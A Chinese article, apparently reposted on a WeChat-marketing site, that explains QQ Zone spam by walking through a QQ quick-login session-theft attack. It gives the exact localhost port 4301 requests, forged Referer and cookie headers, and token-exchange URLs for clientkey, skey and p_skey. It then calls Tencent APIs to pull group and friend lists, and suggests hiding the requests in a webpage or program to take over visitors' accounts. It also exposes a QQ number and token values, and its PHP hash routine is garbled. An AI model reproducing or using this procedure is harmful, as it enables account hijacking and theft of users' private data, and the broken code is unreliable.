您现在的位置: 首页 > 微信营销 > 经典语录 > 为什么qq空间自动发广告, QQ无缘无故空间发一下广告原来是这样的。

为什么qq空间自动发广告, QQ无缘无故空间发一下广告原来是这样的。

作者:   来源:  热度:22  时间:2021-07-19






为什么你什么都没干,但QQ空间中却发了很多小广告?也许你的QQ账号已经被盗。本文将讲解一个QQ的快速登录的漏洞。而利用这个漏洞最终可以实现,只要你点击一个页面或运行

为什么你什么都没干,但QQ空间中却发了很多小广告?也许你的QQ账号已经被盗。本文将讲解一个QQ的快速登录的漏洞。

而利用这个漏洞最终可以实现,只要你点击一个页面或运行过一个程序,那么我就可以拥有你的登录权限。可以直接进你邮箱,进你微云,进你QQ空间等....

后面研究QQ快速登录的过程发现,原来QQ快捷登录还是存在很多漏洞的。

前言:

用到的工具软件:火狐浏览器、Fiddler抓包软件、POSTMAN。

1. 使用Fiddler软件进行抓包,注意抓取HTTPS数据需要

2. 获取QQ登录的整个流程

3. php 的 curl 请求函数,我这里简写了

自己去仔细分析那些参数和返回的数据。对了,使用POSTMAN之前先关闭Fiddler,不然请求不到本地QQ数据。

接下来讲解QQ登录的一个过程。以获取群列表数据为例,这里分六个步骤。

第一步:获取pt_local_token也叫pt_local_tk

向目标页面发送一个请求

其中通过参数s_url=告诉服务器如果登录成功后请去往s_url这个页面。服务器先给它一个pt_local_token备注下,再通过响应头返回一堆Set-Cookie告诉客户端,存好这些数据,其中就包括了pt_local_token。

我们将pt_local_token赋值给变量$token,如图所示$token=-1432336490

第二步:获取本地登录的QQ号码

这一次我们需要请求本地的4301端口,其中{$token}为第一步获取的pt_local_token

https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&r=0.0760575656488639&pt_local_tk={$token}

目标地址中r=0.0760575656488639这是个随机数,不需要也可以。

这一次我们需要伪造请求头信息

Referer: https://xui.ptlogin2.qq.com

Cookie: pt_local_token={$token}

其中Referer是指是从哪里来请求的,这里腾讯做了限制,必须是地址中含有*.ptlogin2.qq.com

返回的结果是个JSON数组里面就有uinQQ号,我们将其赋值给$uin,如图所示$uin=*******

我们获取到的json数据为:var var_sso_uin_list=[{"account":"775262592","client_type":65793,"face_index":693,"gender":1,"nickname":"葑茚?記憶","uin":"775262592","uin_flag":54559302}];ptui_getuins_CB(var_sso_uin_list);

使用如下正则匹配即可取出uin

preg_match("/var_sso_uin_list=(.*?);ptui_getuins_CB/", $body, $matches);

$jsonObj = json_decode($matches[1], false);

$uin = $jsonObj[0]->uin;

第三步:获取QQ的clientkey

目标地址

https://localhost.ptlogin2.qq.com:4301/pt_get_st?clientuin={$uin}&callback=ptui_getst_CB&r=0.4266647630782271&pt_local_tk={$token}

填入第一、二步获取的$uin和$token再填入和第二步相同的请求头

Referer: https://xui.ptlogin2.qq.com

Cookie: pt_local_token={$token}

我们在返回的cookies中找到clientkey,如图所示$clientkey=

00015B1F75330068074611E821823862D91C5375106099B8B85F91C7069484BD790D1111AAADC5D3C3E71CA50ABAB349F436BA1C8EC69E054D63B864AE6C90CFF72128C92419410337B6E53E5931A8C0DD2BB4E770C05BB2737845D16CEDC5FE64909CFD09430419F1A21F9E4E0D9319

第四步:获取QQ的skey和第五步的请求地址

目标地址

https://ssl.ptlogin2.qq.com/jump?clientuin={$uin}&keyindex=9&pt_aid=715030901&daid=73&u1=https%3A%2F%2Fqun.qq.com%2Fmember.html%23&pt_local_tk={$token}&pt_3rd_aid=0&ptopt=1&style=40

填入第一、二步获取的$uin和$token

请求头我们按以下设置

Referer: https://xui.ptlogin2.qq.com

Cookie:pt_local_token={$token};clientkey={clientkey};

从返回的cookies中找到skey,如图所示$skey=@zsZoAvHTn

我们从返回的json数据中可以得到第五步的目标地址$richurl=https://ptlogin2.qun.qq.com/check_sig?pttype=2&uin=775262592&service=jump&nodirect=0&ptsigx=9f05a5f5389aa9b9c5aff18347c516e5b12322b9888212bcbde401cc42491bed7087bba4c17ea36228fd735a14552a6affef0d63690d82ffb4d0e21ea529006e&s_url=https%3A%2F%2Fqun.qq.com%2Fmember.html&f_url=&ptlang=2052&ptredirect=100&aid=1000101&daid=73&j_later=0&low_login_hour=0?master=0&pt_login_type=2&pt_aid=715030901&pt_aaid=0&pt_light=0&pt_3rd_aid=0

第五步:获取QQ的p_skey

目标地址 第四步获得得到$richurl地址

我们不需要模拟请求头,直接请求地址即可。

从返回的cookies中找到p_skey,如图所示$p_skey=-xM0FTIxP3ih1gy8nPjlm4dIxACwRAyNp3riN1cpy2k_

第六步:调用数据接口

Bkn参数的计算:调用某些接口需用到bkn,这里我从腾讯官方的js文件找出,并简化出以下代码,

function GetBkn($skey){

for ($i = 0,$hash = 5381;$i ++$i){

$hash += ($hash 5) + ord(mb_substr($skey, $i, 1, 'utf-8'));

}

return (string)($hash & 2147483647);

}

$bkn=GetBkn($skey);

这里我用$skey=@zsZoAvHTn;代入计算得到$bkn=1962067900

1)取群员列表接口get_group_list

目标地址https://qun.qq.com/cgi-bin/qun_mgr/get_group_list

请求头Cookie: p_skey={$p_skey};uin=o{$uin} ;skey={$skey};

POST参数bkn={$bkn};

群列表:

2)取好友列表接口get_friend_list

目标地址https://qun.qq.com/cgi-bin/qun_mgr/get_friend_list

请求头Cookie: p_skey={$p_skey};uin=o{$uin} ;skey={$skey};

POST参数bkn={$bkn};

好友列表:

3)取群成员列表接口search_group_members

目标地址https://qun.qq.com/cgi-bin/qun_mgr/search_group_members

请求头Cookie: p_skey={$p_skey};uin=o{$uin} ;skey={$skey};

POST参数bkn={$bkn};end=20;gc=76773914;sort=0;st=0

其中end为要获取多少个,st为获取成员的起始位置

返回的count为总群员数

群成员列表:

从上面这些我们就可以看出,只要你电脑上登录了QQ,只要你打开了这个页面或者打开了这个窗体,那么你的账号就已经被入侵!

拿到了Cookie,你就可以通过CSRF(跨站伪装)的形式,来搞好多事情。

这些Cookie就相当于令牌,有了这个令牌就可以拥有快速登录的权限,就相当于你登录一般的网站,账号密码进去,后台会给浏览器注册一条Token来做状态验证一样。

可以在网站上放一个页面,里面跑http请求,或者搞个窗体,里面也跑http请求。不需要输入账号密码,可以直接拿着QQ空间发表留言的接口直接调用,可以直接爬虫抓相册图片,直接进邮箱,进微云等等等等。

转载请注明出处:为什么qq空间自动发广告, QQ无缘无故空间发一下广告原来是这样的。 :http://www.720weixin.com/marketing/455078.html
  • 登录

    使用微信帐号直接登录,无需注册